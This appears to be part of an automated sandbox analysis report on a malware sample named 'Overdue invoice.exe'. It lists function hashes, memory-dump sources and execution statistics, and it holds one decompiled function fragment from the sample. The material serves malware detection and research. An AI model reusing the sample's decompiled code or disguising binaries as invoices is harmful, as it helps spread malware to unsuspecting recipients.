Instruction ID: 09370f8e638b3831f15dcf5d2a608944d0d9f80c824888a43408c0ffd49baf07
Opcode Fuzzy Hash: dd52248c734efa5303034440764576cedfd50de79e18906ad85923d3cba4f5e1
Instruction Fuzzy Hash: B5C138B1A11B468BD710DF65EC883AF3B61BB85328F524318D2612B6F1D7B8148ADF94

Uniqueness

Uniqueness Score: -1.00%

Function 0726CD88 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d619d928e6d4da07124e1789f83cf2dc2cc5d822ce836ab7eece59e59e019f21
Instruction ID: cad60bbc96cf0a7cfb72310716a0df7699774093e6a0459db9dc90df10c8d724
Opcode Fuzzy Hash: d619d928e6d4da07124e1789f83cf2dc2cc5d822ce836ab7eece59e59e019f21
Instruction Fuzzy Hash: D0916CB4E14519CBCB14DFA9C9846AEFBF6FF89304F24C16AD418A7215D730AA81CF60

Uniqueness

Uniqueness Score: -1.00%

Function 07268658 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b175b31b43c7c9330b0ed8ed3dfba7354522dda1d5971f313ef130afd89c965
Instruction ID: b2c6eaba26d3068853c3f446f79a6592d326dc56fdcf6793310e250b70fc2bbe
Opcode Fuzzy Hash: 8b175b31b43c7c9330b0ed8ed3dfba7354522dda1d5971f313ef130afd89c965
Instruction Fuzzy Hash: 4B7104B4E25609CFCB08CFA9C9849DEFBF2FB89210F24942AD415B7314D7709A818F64

Uniqueness

Uniqueness Score: -1.00%

Function 02731C88 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c857a476da1763abfc054ea5d5003be1425707e1b9e56746a7f67f04ded0400
Instruction ID: bad299fca8fa056933c6d43c810d6654432dcd3f39b3269e75eca4549688fe35
Opcode Fuzzy Hash: 1c857a476da1763abfc054ea5d5003be1425707e1b9e56746a7f67f04ded0400
Instruction Fuzzy Hash: 927137B0E5122A8BDB64DF66C9447A9BBB2FF89300F10C5EAD40DA7255EB305AC5CF40

Uniqueness

Uniqueness Score: -1.00%

Function 07264FC8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d11d33f7394336280ba2d6e9d018ff44446fed30004a418610880c496a2e3a
Instruction ID: 7f73bf01ea1c0e898d03bb662ec07340bbbfc98ecd588df7053e1a1ca39cae1a
Opcode Fuzzy Hash: 39d11d33f7394336280ba2d6e9d018ff44446fed30004a418610880c496a2e3a
Instruction Fuzzy Hash: 757116B4E2120ADFCB04DF9AD5849AEFBB6FB89310F10942AD515A7310E3749A91CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07264FB9 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28ae568bbfaa87a834854a5115d731d54efbfd5decd4461aa8a30b07b7a67043
Instruction ID: ff271cdd7c3e221c833241b34c094ae6f3059ba242dd5a4ec45994b9dd47bac9
Opcode Fuzzy Hash: 28ae568bbfaa87a834854a5115d731d54efbfd5decd4461aa8a30b07b7a67043
Instruction Fuzzy Hash: DD6138B4E2120ADFCB04CF9AD484AEEFBB1FB89310F109426D515A7310E3749A91CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07268648 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7175b83a71ad1a8c78335cd45d97b73de89f0277c51a7f1088f41339670ef8e
Instruction ID: a01372739c4b66137a0fb61585f9e62cf071e684c19d60b6d06a6fba1921c4fb
Opcode Fuzzy Hash: e7175b83a71ad1a8c78335cd45d97b73de89f0277c51a7f1088f41339670ef8e
Instruction Fuzzy Hash: 2D71F4B4E25609CFCB04CFA9C9849DEFBF2FB89210F28942AD415B7354D7749A818F64

Uniqueness

Uniqueness Score: -1.00%

Function 02731730 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccbcb686004657e8204f1569474d004ec2d7fb9fb191fd4cefbca47e58238af1
Instruction ID: 49a8a86e540267140a450a788d4731d98db5889580c82e1198552b3f437ee3c9
Opcode Fuzzy Hash: ccbcb686004657e8204f1569474d004ec2d7fb9fb191fd4cefbca47e58238af1
Instruction Fuzzy Hash: A66126B4E1520ADFDB05CFA5D4815AEBBB2FF89300F54942AD419B7344EB345A42CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02731740 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24778b694e1cf136114651662a2d29e686298e1c987b43a4899cbffc84ed1ba8
Instruction ID: edcf1301591a11871b328610b3d200094e76c05b5d17b6ee0eec680415aeaad3
Opcode Fuzzy Hash: 24778b694e1cf136114651662a2d29e686298e1c987b43a4899cbffc84ed1ba8
Instruction Fuzzy Hash: 2F5126B4E1520ADFDB04CFAAD4805AEBBB2FF89300F54942AD419B7344EB345A42CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02731C83 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 084a602cc9d0303788ec2b9cecdd7bc8cad797bf0b00d37d6d7a6edfe043ad27
Instruction ID: 9ce9a745591577378d45166403c4ff398edcb9ae6c9efff78bcbac48dd63815b
Opcode Fuzzy Hash: 084a602cc9d0303788ec2b9cecdd7bc8cad797bf0b00d37d6d7a6edfe043ad27
Instruction Fuzzy Hash: 126139B0E5162A8BDB68DF65C944799BBF2FF88300F1085EAD40DA7255EB705AC5CF40

Uniqueness

Uniqueness Score: -1.00%

Function 005259ED Relevance: .1, Instructions: 139
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E005259ED(intOrPtr* __eax, signed int __ebx, void* __ecx, intOrPtr* __edx, void* __edi, signed int* __esi) {
				signed char _t13;
				signed int _t14;
				intOrPtr* _t16;
				signed char _t17;
				signed char _t18;
				intOrPtr* _t19;
				signed char _t20;
				signed char _t21;
				signed char _t22;
				signed char _t26;
				signed char _t29;
				intOrPtr* _t31;
				signed int _t32;
				signed char _t35;
				signed int _t36;
				intOrPtr* _t37;
				signed char _t40;
				signed char _t41;
				signed char _t43;
				signed int* _t50;
				signed int* _t51;
				signed int _t53;
				signed int* _t54;
				void* _t58;

				_t54 = __esi;
				_t36 = __ebx;
				_t53 = __edi + __esi;
				asm("adc eax, 0x1b000012");
				_t13 = __eax -  *__eax;
				 *_t13 =  *_t13 + _t13;
				_push(ds);
				_t40 = __ecx +  *_t13;
				_t14 = _t13 &  *_t13;
				 *__edx =  *__edx + _t40;
				_t50 = __edx -  *__ebx;
				 *_t50 =  *_t50 ^ _t14;
				 *__ebx =  *__ebx + _t14;
				 *_t14 =  *_t14 + _t14;
				 *_t14 =  *_t14 + _t50;
				 *_t14 =  *_t14 + _t14;
				asm("adc [esi-0xa], edi");
				 *_t14 =  *_t14 + _t14;
				_t41 = _t40 |  *(_t58 +  &(_t50[0x506c000]));
				 *_t41 =  *_t41 + 1;
				_t16 = (_t14 |  *_t53) - 0xa;
				 *((intOrPtr*)(_t16 + _t16)) =  *((intOrPtr*)(_t16 + _t16)) - _t41;
				do {
					 *_t16 =  *_t16 + _t16;
					_t16 = _t16 -  *((intOrPtr*)(_t16 + 0xa0000f6));
				} while (_t16 <= 0);
				 *_t16 =  *_t16 + _t16;
				_push(es);
				_t17 = _t16 -  *_t16;
				_push(ds);
				_t43 = (_t41 |  *_t50) +  *_t17;
				_t18 = _t17 &  *_t17;
				 *_t50 =  *_t50 + _t43;
				_t51 = _t50 -  *__ebx;
				 *__ebx =  *__ebx ^ _t18;
				 *_t43 =  *_t43 + _t43;
				 *_t18 =  *_t18 + _t18;
				 *_t43 = _t51 +  *_t43;
				 *_t18 =  *_t18 + _t18;
				asm("adc [edx], eax");
				if( *_t18 != 0) {
					L6:
					_t43 = _t43 -  *_t51;
					es = es;
					_t36 = _t36 ^ _t53;
					_t19 = _t18 -  *_t18;
					 *_t19 =  *_t19 + _t19;
					asm("adc esi, [eax]");
					_t20 = _t19 +  *_t19;
					asm("sbb [eax], al");
					 *_t20 =  *_t20 + _t20;
					_t21 = _t20 ^  *_t20;
					 *_t43 = _t51 +  *_t43;
					goto L7;
				} else {
					 *_t18 =  *_t18 + _t18;
					_push(es);
					_t29 = (_t18 + 0x0000000a |  *_t53) ^ 0x00000000;
					 *_t43 =  *_t43 + _t29;
					_t21 = _t29 | 0x00000002;
					if(_t21 < 0) {
						L7:
						_t37 = _t36 +  *((intOrPtr*)(_t36 + 0x57));
						 *_t21 =  *_t21 + _t21;
						_t22 = _t21 + 0xa;
						do {
							_push(es);
							_t22 = (_t22 |  *_t54) - 0xd +  *_t37;
						} while (_t22 >= 0);
						 *_t22 =  *_t22 + _t22;
						 *_t22 =  *_t22 + _t22;
						_pop(ss);
						asm("outsd");
						 *_t22 = 0x28020600;
						asm("rol dword [eax], 0x0");
						_t43 = _t43 |  *(_t53 - 8) |  *_t51 |  *_t51;
						 *_t37 =  *_t37 + _t51;
						 *_t43 =  *_t43 ^ _t22;
						 *((intOrPtr*)(_t22 + _t22)) =  *((intOrPtr*)(_t22 + _t22)) + _t43;
						 *_t22 =  *_t22 + _t22;
						_pop(es);
						 *_t22 =  *_t22 + _t22;
						asm("adc [ebx], eax");
						_t26 = (_t22 |  *_t54) - 6;
					} else {
						 *_t21 =  *_t21 + _t21;
						_pop(es);
						 *0xa2b0000 =  *0xa2b0000 - _t43;
						es = es;
						_t31 = _t21 + 8 -  *((intOrPtr*)(_t21 + 8));
						 *_t31 =  *_t31 + _t31;
						asm("adc esi, [eax]");
						_t32 = _t31 +  *_t31;
						 *_t32 =  *_t32 - _t32;
						 *_t32 =  *_t32 + _t32;
						 *_t32 =  *_t32 ^ _t32;
						 *_t43 = _t51 +  *_t43;
						_t37 = (__ebx ^ _t53) +  *((intOrPtr*)((__ebx ^ _t53) + 0x57));
						 *_t32 =  *_t32 + _t32;
						_push(es);
						_t54 = 0x740a0000;
						_t35 = (_t32 + 0x0000000a |  *_t53) ^ 0x00000000;
						 *_t43 =  *_t43 + _t35;
						_t26 = _t35 | 0x00000002;
						if(_t26 >= 0) {
							 *_t26 =  *_t26 + _t26;
							_t18 = _t26 + 8;
							_pop(es);
							 *0xa2b0000 =  *0xa2b0000 - _t43;
							goto L6;
						}
					}
				}
				_push(es);
				 *_t26 =  *_t26 + _t26;
				_push(es);
				 *_t51 =  *_t51 ^ _t26;
				 *((intOrPtr*)(_t43 +  *((intOrPtr*)(_t53 - 0x3e)) -  *_t37)) =  *((intOrPtr*)(_t43 +  *((intOrPtr*)(_t53 - 0x3e)) -  *_t37)) + _t51;
				 *_t26 =  *_t26 + _t26;
				 *_t26 =  *_t26 + _t26;
				 *_t26 =  *_t26 + _t26;
				 *_t51 =  *_t51 + _t26;
				_push(ss);
				asm("outsd");
				 *_t26 = 0x7de0600;
				return _t26;
			}

0x005259ed
0x005259ed
0x005259ed
0x005259ef
0x005259f4
0x005259f6
0x005259f8
0x005259f9
0x005259fb
0x005259fd
0x005259ff
0x00525a01
0x00525a03
0x00525a05
0x00525a07
0x00525a09
0x00525a0b
0x00525a0e
0x00525a10
0x00525a17
0x00525a1b
0x00525a1d
0x00525a1f
0x00525a1f
0x00525a21
0x00525a21
0x00525a29
0x00525a2d
0x00525a2e
0x00525a30
0x00525a31
0x00525a33
0x00525a35
0x00525a37
0x00525a39
0x00525a3b
0x00525a3d
0x00525a3f
0x00525a41
0x00525a43
0x00525a45
0x00525a9e
0x00525a9e
0x00525aa1
0x00525aa2
0x00525aa4
0x00525aa6
0x00525aa8
0x00525aaa
0x00525aac
0x00525aae
0x00525ab0
0x00525ab2
0x00000000
0x00525a47
0x00525a47
0x00525a4b
0x00525a55
0x00525a57
0x00525a59
0x00525a5b
0x00525ab4
0x00525ab4
0x00525ab7
0x00525ab9
0x00525aba
0x00525abe
0x00525abf
0x00525abf
0x00525ac3
0x00525ac8
0x00525ace
0x00525acf
0x00525ad0
0x00525ad6
0x00525ad9
0x00525adb
0x00525add
0x00525adf
0x00525ae2
0x00525ae4
0x00525ae5
0x00525ae7
0x00525aeb
0x00525a5d
0x00525a5d
0x00525a61
0x00525a62
0x00525a69
0x00525a6c
0x00525a6e
0x00525a70
0x00525a72
0x00525a74
0x00525a76
0x00525a78
0x00525a7a
0x00525a7c
0x00525a7f
0x00525a83
0x00525a88
0x00525a8d
0x00525a8f
0x00525a91
0x00525a93
0x00525a95
0x00525a97
0x00525a99
0x00525a9a
0x00000000
0x00525a9a
0x00525a93
0x00525a5b
0x00525aec
0x00525af0
0x00525af2
0x00525af5
0x00525af7
0x00525af9
0x00525afb
0x00525afd
0x00525aff
0x00525b01
0x00525b02
0x00525b03
0x00525b0b

Memory Dump Source

Source File: 00000000.00000002.297583913.0000000000522000.00000002.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.297565297.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.297763203.00000000005BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.297784487.00000000005C6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec98a38b7c09de2341ab4310998a6920c41741008efb1729c61f2e812521ff9f
Instruction ID: be4cc43dd2aa66ccc233630ad3d5c48c582bacf4f34c1e8c5ba43e5dab7e9c41
Opcode Fuzzy Hash: ec98a38b7c09de2341ab4310998a6920c41741008efb1729c61f2e812521ff9f
Instruction Fuzzy Hash: AD51012140E7D15FCB134BB498B96D27FB1AF5B204B5E08C7C4C1CF0A3E529192AD722

Uniqueness

Uniqueness Score: -1.00%

Function 02731058 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dec995209762f9b7b926fcb3ab93b1b3a9c072c11602cad3ea83d591eaf2e86
Instruction ID: bd0378743c26a1df3ee77daee1645a9d71e18ee429b75690641d53bac3c67835
Opcode Fuzzy Hash: 8dec995209762f9b7b926fcb3ab93b1b3a9c072c11602cad3ea83d591eaf2e86
Instruction Fuzzy Hash: 8E416671E05249EFCB04CFE6D9406AEBBB6EB89300F10D82AD419BB264D7785A00CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02731048 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298516020.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c5bea245ed5d80a2a4368abdeda454c043aeab32874a0c68ef08be04c5ded72
Instruction ID: cf292f9b238bcd1f4d7112f35409cbc8b754657e877c8b2824f873cbfe4847a5
Opcode Fuzzy Hash: 9c5bea245ed5d80a2a4368abdeda454c043aeab32874a0c68ef08be04c5ded72
Instruction Fuzzy Hash: 63418675E05249DFCB04CFE9D9806AEBBF2EB89300F10D86AC419B7264E7785A05CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07269625 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7757471365fa5b516c8779daedb23a9a5fe470fa6c5c36638317e7345a7173c
Instruction ID: 080bd20e354434bc3b3bb913841ff24923adf240029571a9dc47614a41030ee5
Opcode Fuzzy Hash: d7757471365fa5b516c8779daedb23a9a5fe470fa6c5c36638317e7345a7173c
Instruction Fuzzy Hash: 93417FB1E056588BDB19CF6B8D4539AFBF3BFC9300F14C1BA844CA6255DB3409858F51

Uniqueness

Uniqueness Score: -1.00%

Function 07269648 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75be52cce964e4702e133192c68580de1bb0f2a69d927d3871356e666883f101
Instruction ID: b124d81a72977ce50470259b7a88c68160e35f9f42b736acf680d5499cd0929e
Opcode Fuzzy Hash: 75be52cce964e4702e133192c68580de1bb0f2a69d927d3871356e666883f101
Instruction Fuzzy Hash: 924171B1E116188BDB28CF6B8D4539EFBF7BFC8300F14C1BA854CA6254EB340A858E11

Uniqueness

Uniqueness Score: -1.00%

Function 072688D8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00bd52ed50596be17770e2e04b8c3e5086370f199bb395a9cc0b996e5925dbb7
Instruction ID: 9c281ccfaf0e9c4d79cac2a1113a32e57dd6ff6cf428d82db6beac13913ab1cd
Opcode Fuzzy Hash: 00bd52ed50596be17770e2e04b8c3e5086370f199bb395a9cc0b996e5925dbb7
Instruction Fuzzy Hash: DB41F6B4E1520ADFDB04CFA9C5845EEFBF2BB89210F24C16AC405A7344E6345A828B55

Uniqueness

Uniqueness Score: -1.00%

Function 072688E8 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93204a3f2396a6b1a83945025883cab8b839a921e4fdc8185d3990085fa1d1ba
Instruction ID: dfe274be3a7e39132e1c3d9bebeda7389638cd7a693e82025f1907979ac54d69
Opcode Fuzzy Hash: 93204a3f2396a6b1a83945025883cab8b839a921e4fdc8185d3990085fa1d1ba
Instruction Fuzzy Hash: A641E6B4E1520ADBCB04CFAAC5845AEFBF2AB89310F24C16AC415B7344E7349A818F95

Uniqueness

Uniqueness Score: -1.00%

Function 07268458 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9024854c772112a5dcca9ef7ee4f3a1c376e48cfd0c43004f67f9233b108b65
Instruction ID: 864c6a58aeb5a098a98be3621a9725d5cdbb644a05b34cbe8f0b522343fa441e
Opcode Fuzzy Hash: c9024854c772112a5dcca9ef7ee4f3a1c376e48cfd0c43004f67f9233b108b65
Instruction Fuzzy Hash: 0041F8B0E1520A9FCB44CFAAC4845EEFBF2BF89300F14C16AC415A7254D7349A828F65

Uniqueness

Uniqueness Score: -1.00%

Function 07268468 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1beae4a6f9ff40172290d3321ea4ed7f0cbc46b1570322a21ddf4a4d4737584
Instruction ID: ab001b219c977680256151dc1449cb1fd32fabba23d6987b730c4d366096ba52
Opcode Fuzzy Hash: d1beae4a6f9ff40172290d3321ea4ed7f0cbc46b1570322a21ddf4a4d4737584
Instruction Fuzzy Hash: C241C5B4E2020A9FCB04CFAAC5845EEFBF6BF88300F24C56AC415B7254E7749A818F55

Uniqueness

Uniqueness Score: -1.00%

Function 0726E078 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a91cfdc3b1a30db813fe9a9e70b509410b005810c06e8824f86a4676b6bed6
Instruction ID: 3af12eb0c96f6de019f2bf439139d6d205e7b67d5feba18f54479f2f763087c7
Opcode Fuzzy Hash: f8a91cfdc3b1a30db813fe9a9e70b509410b005810c06e8824f86a4676b6bed6
Instruction Fuzzy Hash: 073183B0E2121ACBDF18CF9AD9847DEF7B6FBC8200F51C4AAD509A7204DB314A818F51

Uniqueness

Uniqueness Score: -1.00%

Function 07263758 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef78dd40a21881ebac483e99c382b6b29f07738f380aeaeb488f5dd93a3b242d
Instruction ID: b85be091741536aa47324cbc71a90adf4a55ac238cfe85245210e81d6845aa08
Opcode Fuzzy Hash: ef78dd40a21881ebac483e99c382b6b29f07738f380aeaeb488f5dd93a3b242d
Instruction Fuzzy Hash: 7C2108B1E106189BEB18CFABDC44A9EFBF7AFC9200F14C1BAD408A7254DB305A418F51

Uniqueness

Uniqueness Score: -1.00%

Function 07263751 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8be6424249d74fddecad7869619a486cee0a8a977e812ace6301a5975c67ec
Instruction ID: 24de0982cdc416c2444fb3e733c72d6cb6a10ccc93aa67db808fba1b1d65ecdf
Opcode Fuzzy Hash: 2b8be6424249d74fddecad7869619a486cee0a8a977e812ace6301a5975c67ec
Instruction Fuzzy Hash: A211ECB1E106189BEB1CCFABD8446DEFAF7AFC8200F08C07AD808A6258EB3405418E51

Uniqueness

Uniqueness Score: -1.00%

Function 07268AA1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.304428797.0000000007260000.00000040.00000800.00020000.00000000.sdmp, Offset: 07260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7260000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0783e792499e7b0990ed11a55246232c25e923b4dfc12ab4ed2226fd01c957a
Instruction ID: 1e33546675c334030628f2f5df60060e8ed7b141a2d8d9ea0695499d359fa8c2
Opcode Fuzzy Hash: d0783e792499e7b0990ed11a55246232c25e923b4dfc12ab4ed2226fd01c957a
Instruction Fuzzy Hash: 0B11D0B1E116589BEB18CF6BD8447DEFAF3AFC8200F08C17AC808A6254EB3445428F11

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Overdue invoice.exePID: 7140, Parent PID: 6504COMMON

Execution Graph

Execution Coverage:	20.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	285
Total number of Limit Nodes:	3

Executed Functions

Function 06C6ACA8 Relevance: 2.9, Instructions: 2883COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2da8ae200629f0203db4c90ae1ddcfa3e922fded071532ae981f2e5b57677302
Instruction ID: caeed957685b5d8ec2414ff0f4c7be03bc73fff11f4ce4eddf57b8dc94092c5b
Opcode Fuzzy Hash: 2da8ae200629f0203db4c90ae1ddcfa3e922fded071532ae981f2e5b57677302
Instruction Fuzzy Hash: 38631D31D10B198ECB51EF69C984699F7B1FF99300F11C69AE459B7221EB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 06C66BF0 Relevance: .7, Instructions: 726COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d619cb8fe0534b41a53436f842952377895c68c0dc2f72783e8feceade7aa6
Instruction ID: a0deabec80582048e2d125890951fdc266a416dbcca6d54d15e4963c6a094a54
Opcode Fuzzy Hash: 15d619cb8fe0534b41a53436f842952377895c68c0dc2f72783e8feceade7aa6
Instruction Fuzzy Hash: F9428B30E002049FDB64EB75D898B6EB6E3EF85748F14C92DE4069B380DB75AD41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C6A1C8 Relevance: 3.9, Strings: 3, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 06C6A2BB
\, xrefs: 06C6A201
\, xrefs: 06C6A2F6

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID: \$\$\
API String ID: 0-3791832595
Opcode ID: 9c475e0fe0f9058abea531b79e51544ea11623777bddcc805a68fe1d2a263b3b
Instruction ID: 24defda6dbd8ea261bea52eb9ed5816d323041b77d29ff0d6af713caac961726
Opcode Fuzzy Hash: 9c475e0fe0f9058abea531b79e51544ea11623777bddcc805a68fe1d2a263b3b
Instruction Fuzzy Hash: E0519131B003108FDB649BB698D437E72A2AB84754F24953DE81AAB384EB75DC418794

Uniqueness

Uniqueness Score: -1.00%

Function 064E7440 Relevance: 3.3, APIs: 2, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a513491f23dd7650423f95719837a44d56ea5f89338d91be69ab3f7cfe482d5b
